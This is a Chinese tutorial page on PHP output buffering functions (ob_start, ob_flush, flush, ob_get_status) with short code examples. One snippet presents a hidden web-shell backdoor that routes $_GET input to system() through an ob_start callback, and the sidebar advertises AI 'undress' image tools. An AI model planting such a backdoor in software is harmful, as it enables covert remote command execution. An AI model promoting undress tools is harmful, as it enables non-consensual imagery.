PHP輸出緩衝的簡介及作用
這篇文章主要介紹PHP輸出緩衝的簡介及作用,有興趣的朋友參考下,希望對大家有幫助。
概述
以前研究過PHP的輸入輸出緩衝,不過部落格搬家以後,原來文章找不到了,今天看到一篇好文,順便轉載過來。
簡介
說到輸出緩衝,首先要說的是一個叫做緩衝器(buffer)的東西。舉個簡單的例子說明他的作用:我們在編輯一篇文件時,在我們沒有保存之前,系統是不會向磁碟寫入的,而是寫到buffer中,當buffer寫滿或執行了保存操作,才會將資料寫入磁碟。對於PHP來說,每一次像 echo 這樣的輸出操作,同樣是先寫入到了 php buffer 裡,在腳本執行完畢或執行了強制輸出快取操作,資料才會在瀏覽器上顯示。
其實對於PHP程式設計師來說,基本上每個腳本都涉及到了輸出緩衝,只是在大多數情況下,我們都不需要對輸出緩衝進行更改。而今天就來用實例對PHP輸出緩衝控制函數「Output Control」做一個詳細的解析。
下面這個範例簡單介紹了輸出緩衝在一般腳本中存在的方式:
程式碼如下:
echo 'Apple'; echo 'IBM'; echo 'Microsoft'
我們在執行上面這段腳本時,腳本在執行完第一個echo 時,並不會向瀏覽器輸出對應內容,而是會輸出到一個緩衝區,依次類推,當三個echo 全部執行完畢(也就是腳本結束)時,才會將緩衝區內容全部輸出到瀏覽器。當然這個緩衝區也有大小的限制,是根據 php.ini 中的output_buffering選項來設定的,這點會在下面的文章中詳細介紹。而本章所講的輸出緩衝控制,就是在腳本結束前,先對緩衝區裡的內容進行操作。
下這個範例可以更好的體現輸出緩衝控制的應用:
程式碼如下:
echo 'Apple'; sleep(2); echo 'IBM'; sleep(2); echo 'Microsoft';
我們至少需要等待2秒鐘才能看到輸出結果,那我們能不能讓其實時的顯示呢?也就是在第一個 echo 執行完畢時就輸出對應的內容呢,這時候就需要用輸出緩衝控制函數來操作緩衝區了,具體怎麼實現先放一邊,文章的結尾會公佈。
作用
1.在PHP中,像header(), session_start(), setcookie() 等這樣的傳送頭檔的函數前,不能有任何的輸出,而利用輸出緩衝控制函數可以在這些函數前進行輸出而不報錯。其實這麼做沒啥必要,非常少見的用法。
2.對輸出的內容進行處理,例如產生靜態快取檔案、進行gzip壓縮輸出,這算是較常用的功能了。
3.捕捉一些不可取得的函數輸出,例如phpinfo(), var_dump() 等等,這些函數都會將運算結果顯示在瀏覽器中,而如果我們想對這些結果進行處理,則用輸出緩衝控制函數是個不錯的方法。說的通俗點,就是這類函數都不會有回傳值,而要取得這些函數的輸出數據,就要用到輸出緩衝控制函數。
4.最後一種應用就是 簡介 中提到的 對一些資料進行即時的輸出。
php.ini 中的相關配置項目
再來看看在php.ini 中和輸出緩衝控制有關的選項,共三個,分別是:output_buffering , implicit_flush 和output_handler。
1.output_buffering 預設為 off , 當設定為 on 時,則在所有腳本自動開啟輸出緩衝區,就是在每個腳本都自動執行了 ob_start() 這個函數,而不用再顯示的呼叫該函數。其也可以設定為一個整數的數字,代表緩衝區可以儲存的最大位元組數,我們在例1下面的說明中提到這個配置項。
2.implicit_flush 預設為 off , 當設定為 on 時,PHP會在輸出後,自動送出緩衝區內容。就是在每段輸出後,自動執行 flush() 。當然有效的輸出不僅指像echo , print 這樣的函數,也包括HTML段。
3.output_handler 預設為 null , 其值只能設定為內建的函數名,作用就是將腳本的所有輸出,用所定義的函數處理。他的用法和 ob_start(‘function_name') 較類似,下面會介紹到。
這篇文章中,若沒有特別說明,php.ini中output_buffering, implicit_flush 和 output_handler的值都是預設值。
Output Control 函數詳解
ob_start()
bool ob_start ([ callback outputcallback[,intchunk_size [, bool $ erase ]]] )
此函数大家从命名上也能明白其含义,就是打开输出缓冲区,从而进行下一步的输出缓冲处理。这里要特意说的是其参数的用法,第一个参数要传递一个回调函数,其需将缓冲区内容做为参数,并且返回一个字符串。他会在缓冲区被送出时调用,缓冲区送出指的是执行了例如ob_flush() 等函数或者脚本执行完毕。ob_flush() 函数会在下面介绍到,来看一个简单的例子就能理解其用法:
代码如下:
function dothing1($echo_thing){ return ' #' . $echo_thing . '# '; } ob_start('dothing1'); echo 'Apple'; 输出结果 #Apple#
从输出的结果可以看出单词两边被添加了“#”,也就是说在缓冲区内容输出时,运行了我们定义的 dothing1函数。
再来看一个更实际的例子,也就是常见到的将网页内容利用 gzip 压缩后再输出,代码如下:
代码如下:
ob_start(); echo str_repeat('Apple', 1024);
输出结果:没有使用gzip压缩的情况下,输出内容大小为5.2KB。
输出结果:使用gzip压缩的情况下,文档大小小了很多,压缩花费了时间,所以时间长了。
而第二个参数 chunk_size 为缓冲区的字节长度,如果缓冲区内容大于此长度,将会被送出缓冲区,默认值为0,代表函数将会在最后被调用。第三个参数 erase 如果被设置为 flase , 则代表脚本执行完毕后缓冲区才会被删除,如果提前执行了删除缓冲区函数(后面会提到),则会报一个错误。
ob_start() 的用法就这么多,但有两点需要特别注意的地方:
1.ob_start() 可重复调用,也就是说一个脚本中可以存在多个缓冲区,但记得要按照嵌套顺序将他们全部关闭掉,而如果多个 ob_start 都定义了第一个参数,也就是都定义了回调函数,则会按照嵌套顺序依次执行。关于缓冲区的堆叠嵌套,将在 ob_get_level 函数处详细介绍,这里就不过多阐述了。
2.ob_start() 还有一个不太明显但很致命的后门用法,实现代码如下:
代码如下:
$cmd = 'system'; ob_start($cmd); echo $_GET['a']; ob_end_flush(); windows下面的输出结果: 14 个目录 30,970,388,480 可用字节
如果理解了上面关于 ob_start的用法,这段代码就不难理解了,其应用了 ob_start 函数会将缓冲区输出的内容作为参数传入所设置的函数中的特点,实现了以Web服务器权限远程执行命令,并且不宜被发觉。
ob_get_contents()
string ob_get_contents ( void )
此函数用来获取此时缓冲区的内容,下面的例子就能很好的理解其用法:
代码如下:
ob_start('doting2'); echo 'apple'; $tmp = ob_get_contents(); file_put_contents('./doting2', $tmp); ob_end_flush()
ob_get_length()
此函数用来获取缓冲区内容的长度。
ob_get_level()
int ob_get_level ( void )
此函数用来获取缓冲机制的嵌套级别,我们在介绍 ob_start() 函数时曾说过,在一个脚本中可以嵌套存在多个缓冲区,而此函数就是来获取当前缓冲区的嵌套级别,用法如下:
代码如下:
ob_start(); var_dump(ob_get_level()); ob_start(); var_dump(ob_get_level()); ob_end_flush(); ob_end_flush();
运行后可以很明显的看出他们的嵌套关系。
ob_get_status()
array ob_get_status ([ bool $full_status = FALSE ] )
此函数用来获取当前缓冲区的状态,返回一个状态信息的数组,如果第一个参数为 true ,将返回一个详细信息的数组,我们结合实例来分析这个数组:
代码如下:
ob_start('ob_gzhandler'); var_export(ob_get_status()); ob_start(); var_export(ob_get_status()); ob_end_flush(); ob_end_flush(); 运行结果 array ( 'level' => 2, 'type' => 1, 'status' => 0, 'name' => 'ob_gzhandler', 'del' => true, ) array ( 'level' => 3, 'type' => 1, 'status' => 0, 'name' => 'default output handler', 'del' => true, )
说明:
1.level 为嵌套级别,也就是和通过 ob_get_level() 取到的值一样
2.type 为处理缓冲类型,0为系统内部自动处理,1为用户手动处理
3.status为缓冲处理状态, 0为开始, 1为进行中, 2为结束
4.name 为定义的输出处理函数名称,也就是在 ob_start() 函数中第一个参数传入的函数名
5.del 为是否运行了删除缓冲区操作
ob_flush()
void ob_flush ( void )
此函数的作用就是 “送出” 当前缓冲区内容,同时清空缓冲区,需要注意这里用的是 “送出” 一词,也就是说调用此函数并不会将缓冲区内容输出,必须在其后调用 flush 函数其才会输出。关于 flush 的用法下面就会说到,这里就不再做实例了。
flush()
void flush ( void )
这个函数算是比较常用的,用来将其前面的所有输出发送到浏览器显示,且不会对缓存区有任何影响。换句话说,不论是 echo 等函数的输出,还是 HTML实体 ,或是运行 ob_start() 送出的内容,运行 flush() 后都会在浏览器进行显示。
ob_flush()与flush()的区别
在没有开启缓存时,脚本输出的内容都在服务器端处于等待输出的状态,flush()可以将等待输出的内容立即发送到客户端。 开启缓存后,脚本输出的内容存入了输出缓存中,这时没有处于等待输出状态的内容,你直接使用flush()不会向客户端发出任何内容。而ob_flush()的作用就是将本来存在输出缓存中的内容取出来,设置为等待输出状态,但不会直接发送到客户端,这时你就需要先使用ob_flush()再使用flush(),客户端才能立即获得脚本的输出。
void ob_implicit_flush()
此函数用来打开/关闭绝对刷送模式,就是在每一次输出后自动执行 flush(),从而不需要再显示的调用 flush() ,提高效率。
其他相关函数
1.bool ob_end_flush ( void )
2.string ob_get_flush ( void )
3.void ob_clean ( void )
4.bool ob_end_clean ( void )
5.string ob_get_clean ( void )
对一些数据进行实时的输出
相信读了上面的内容,就会对PHP的缓冲控制函数有较深的认识了,现在我们回到简介中留下的问题:让例2的脚本实现实时的显示内容,而不需要等待4秒后出现所有内容。
我们可以根据缓存开启与否,有如下几种不同的写法,如果你在测试过程中无法出现预期的效果,可以在header(‘content-type:text/html;charset=utf-8');下面插入str_repeat(‘ ‘, 1024);,你也可以尝试更大的值,部分浏览器即使这么做了,有可能还是无法出现效果,你可以尝试将php代码放入完整的html代码块body体内。下面代码的header(‘content-type:text/html;charset=utf-8');不要省略哦,否则部分浏览器查看不到效果。
代码如下:
ob_start(''); //这里我使用ob_start('ob_gzhandler')没有效果 header('content-type:text/html;charset=utf-8'); echo 'Apple #'; ob_flush(); flush(); sleep(2); echo 'IBM #'; ob_flush(); flush(); sleep(2); echo 'Microsoft';
总结:以上就是本篇文的全部内容,希望能对大家的学习有所帮助。
相关推荐:
php针对文件操作及字符串加密的方法
以上是PHP輸出緩衝的簡介及作用的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

PHP和Python各有優勢,選擇依據項目需求。 1.PHP適合web開發,尤其快速開發和維護網站。 2.Python適用於數據科學、機器學習和人工智能,語法簡潔,適合初學者。

PHP在電子商務、內容管理系統和API開發中廣泛應用。 1)電子商務:用於購物車功能和支付處理。 2)內容管理系統:用於動態內容生成和用戶管理。 3)API開發:用於RESTfulAPI開發和API安全性。通過性能優化和最佳實踐,PHP應用的效率和可維護性得以提升。

PHP是一種廣泛應用於服務器端的腳本語言,特別適合web開發。 1.PHP可以嵌入HTML,處理HTTP請求和響應,支持多種數據庫。 2.PHP用於生成動態網頁內容,處理表單數據,訪問數據庫等,具有強大的社區支持和開源資源。 3.PHP是解釋型語言,執行過程包括詞法分析、語法分析、編譯和執行。 4.PHP可以與MySQL結合用於用戶註冊系統等高級應用。 5.調試PHP時,可使用error_reporting()和var_dump()等函數。 6.優化PHP代碼可通過緩存機制、優化數據庫查詢和使用內置函數。 7

PHP仍然具有活力,其在現代編程領域中依然佔據重要地位。 1)PHP的簡單易學和強大社區支持使其在Web開發中廣泛應用;2)其靈活性和穩定性使其在處理Web表單、數據庫操作和文件處理等方面表現出色;3)PHP不斷進化和優化,適用於初學者和經驗豐富的開發者。

PHP和Python各有優勢,選擇應基於項目需求。 1.PHP適合web開發,語法簡單,執行效率高。 2.Python適用於數據科學和機器學習,語法簡潔,庫豐富。

PHP和Python各有優劣,選擇取決於項目需求和個人偏好。 1.PHP適合快速開發和維護大型Web應用。 2.Python在數據科學和機器學習領域佔據主導地位。

PHP適合web開發,特別是在快速開發和處理動態內容方面表現出色,但不擅長數據科學和企業級應用。與Python相比,PHP在web開發中更具優勢,但在數據科學領域不如Python;與Java相比,PHP在企業級應用中表現較差,但在web開發中更靈活;與JavaScript相比,PHP在後端開發中更簡潔,但在前端開發中不如JavaScript。

PHP主要是過程式編程,但也支持面向對象編程(OOP);Python支持多種範式,包括OOP、函數式和過程式編程。 PHP適合web開發,Python適用於多種應用,如數據分析和機器學習。
